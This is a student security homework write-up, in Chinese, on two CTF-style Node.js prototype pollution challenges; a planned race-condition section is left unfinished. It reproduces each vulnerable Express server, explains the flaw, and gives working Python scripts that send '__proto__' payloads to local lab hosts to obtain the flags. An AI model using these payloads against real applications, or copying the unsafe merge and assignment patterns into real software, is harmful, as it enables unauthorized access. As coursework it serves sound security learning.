安全作业-Race竞争型漏洞、原型链污染

1.race漏洞一直卡在虚拟机安装上(待研究)

2.原型链污染

一、第一题js代码

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now

var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}

function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}

app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);

app.get('/', (req, res) => {

    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];

    }
    res.render('index');
})

app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)

app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;

    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }

    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 

    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }

    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }

})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})

获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等，且二者都要存在。

由代码可知，全文没有对user.admintokn 进行赋值，所以理论上这个值时不存在的，但是下面有一句赋值语句：

matrix[client.row][client.col] = client.data

data

,

row

,

col

，都是我们post传入的值，都是可控的，所以可以构造原型链污染

二、给出payload和执行结果

import requests
import json

url1 = "http://192.168.56.1:3000/api"
url2 = "http://192.168.56.1:3000/admin?querytoken=5881ca97cfe9782358a88e0b31092814"

headers = {"Content-type": "application/json"}
data = {"row": "__proto__", "col": "admintoken", "data": "oupeng"}

res1 = requests.post(url1, headers=headers, data=json.dumps(data))
res2 = requests.get(url2)

print(res2.text)

三、第二题js代码

'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');

const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

function clone(a) {
    return merge({}, a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body)); 
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

获取flag的条件是

admin.аdmin == 1

而admin 本身是一个object，其admin 属性本身并不存在，而且还有一个敏感函数 merg，merge 函数作用是进行对象的合并，其中涉及到了对象的赋值，且键值可控，这样就可以触发原形链污染

四、给出payload和执行结果

import requests
import json

url1 = "http://127.0.0.1:8080/signup"
url2 = "http://127.0.0.1:8080/getflag"

headers = {"Content-type": "application/json"}
data = {"__proto__": {"аdmin": 1}}

res1 = requests.post(url1, headers=headers, data=json.dumps(data))
res2 = requests.get(url2)

print(res2.text)